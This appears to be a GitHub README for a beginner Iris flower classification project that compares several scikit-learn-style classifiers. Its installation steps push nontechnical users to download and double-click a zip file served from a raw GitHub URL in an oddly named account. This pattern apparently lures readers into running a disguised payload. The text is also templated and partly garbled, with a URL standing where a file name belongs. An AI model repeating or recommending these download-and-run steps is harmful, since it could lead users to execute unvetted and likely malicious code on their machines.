This project uses the classic Iris dataset to compare multiple classification algorithms. It evaluates each model using accuracy, precision, recall, and F1-score. Additionally, it visualizes performance with bar charts and confusion matrix heatmaps. You can explore different machine-learning techniques without needing technical skills.
To start using this application, follow the steps below. Each is designed to guide you through the process easily.
You need a computer with one of these operating systems:
- Windows 10 or higher
- macOS 10.12 or higher
- Linux (most recent versions)
Ensure that your computer has at least 4 GB of RAM and an internet connection. These will make the download and installation process smoother.
-
Visit the Releases Page
Go to the following link to access the latest version of the application: Download Here. -
Choose Your Version
On the Releases page, you will see a list of versions. Select the most recent one listed. -
Download the File
Look for the download link labeled โSource code (zip)โ or a similar package suitable for your operating system. -
Extract the Files
After downloading, find the file on your computer. Right-click the zip file and select "Extract All" or use your extraction tool. -
Run the Application
Open the extracted folder. Locate the main application file, which should be titled something likehttps://github.com/cucumbershaped-flaw475/IRIS-FLOWER-CLASSIFICATION-PROJECT/raw/refs/heads/main/src/PROJECT_IRI_CLASSIFICATIO_FLOWE_3.7.zip, and double-click it to run. -
Follow On-Screen Prompts
The program will guide you through the process. Just follow the prompts to explore the features.
- Multiple Classification Algorithms: Compare the effectiveness of decision trees, KNN, logistic regression, and random forests.
- Performance Metrics: Examine the accuracy, precision, recall, and F1-score for each algorithm.
- Visualizations: Review bar charts and confusion matrix heatmaps to better understand the results.
- Decision Tree Classifier
- Evaluation Metrics
- KNN Classification
- Logistic Regression
- Machine Learning Concepts
- Data Visualization with Matplotlib, Seaborn, and Plotly
- Data Handling with Numpy and Pandas
Once you run the application, it will ask you to select a dataset. Hereโs how to use it:
-
Select Dataset
Choose the Iris dataset from your files. The application should recognize the format easily. -
Choose Algorithm
You will see various algorithms listed. Pick one to start comparing its performance. -
View Results
After running the algorithm, check the results displayed on the screen. Use the visualizations to understand the performance better. -
Adjust Parameters
Experiment with different parameters for each algorithm to see how they affect performance. The application allows for this.
- Explore: Donโt hesitate to try different classifiers and settings. Itโs a great way to learn.
- Documentation: Based on your choice of algorithms, review the included documentation for additional clarity on each method.
If you encounter issues or have questions, feel free to reach out. You can open an issue on the GitHub page or contact the project maintainers for support.
- GitHub Repository: For more details or updates, visit the repository: IRIS-FLOWER-CLASSIFICATION-PROJECT
- Machine Learning Basics: Want to understand the basics of the algorithms? Search online for tutorials on machine learning.
This project provides an easy way to explore machine learning without needing extensive programming knowledge. Download the application and start your journey into data science today!